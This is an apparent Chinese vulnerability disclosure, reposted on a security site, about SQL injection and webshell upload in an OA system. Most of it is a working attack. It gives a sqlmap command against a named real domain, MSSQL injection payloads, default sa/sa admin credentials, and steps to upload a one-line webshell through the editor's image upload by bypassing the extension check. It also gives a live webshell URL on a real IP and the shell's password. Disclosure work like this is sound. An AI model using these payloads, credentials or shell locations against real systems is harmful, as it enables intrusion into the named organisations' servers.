某OA系统SQL注射+后台getshell - 网站安全 - 自学ph

某OA系统SQL注射+后台getshell 第一次提交通用型 漏洞 好紧张啊[拜拜]

 

【SQL注射】 这套OA系统登陆页存在SQL注射，测试了几个发现后端均为MSSQL，且大部分可以--os-shell执行命令。 注射点:

http://VICTIM.COM/loginverify. asp

POST数据:

Digest=&urlFrom=&username=admin&password=admin&Memo=1

username参数存在SQL注射。 实例:  

sqlmap.py -u "http://oa.tjfsu.edu.cn/loginverify.asp" --data "Digest=&urlFrom=&username=admin&password=admin&Memo=1" -p username

 

sqlmap identified the following injection points with a total of 90 HTTP(s) requests: --- Place: POST Parameter: username Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Digest=&urlFrom=&username=admin' AND 2836=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (2836=2836) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(108)+CHAR(100)+CHAR(113))) AND 'HQUn'='HQUn&password=admin&Memo=1 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Digest=&urlFrom=&username=admin'; WAITFOR DELAY '0:0:5'--&password=admin&Memo=1 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Digest=&urlFrom=&username=admin' WAITFOR DELAY '0:0:5'--&password=admin&Memo=1 --- web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005

sqlmap --dbs后均可发现叫做"HaiTianOA"的库，其中的"VO_UserInfor"表储存了可用于登录的管理员的帐号与密码(多数有sa/sa。有的密码是明文的，有的是BASE64 加密 的)。 请CNCERT自行验证更多实例。 【后台getshell】 以sa/sa登录上海市市容环境卫生汽车运输处(http://180.166.7.94/)为例 登录后点击"资讯内容维护"-"修改"

在编辑器中点击添加图片按钮，打开了"http://VICTIM.COM/ckeditor/tupianadd.asp"

将一句话木马的后缀修改为.jpg 上传，抓包并去掉.jpg

虽然返回HTTP500，但实际已经上传成功。

拼接可得到一句话木马地址: http://180.166.7.94/file/images/20147408067349.asp 密码helo 菜刀连接:  

 

查看更多关于某OA系统SQL注射+后台getshell - 网站安全 - 自学ph的详细内容...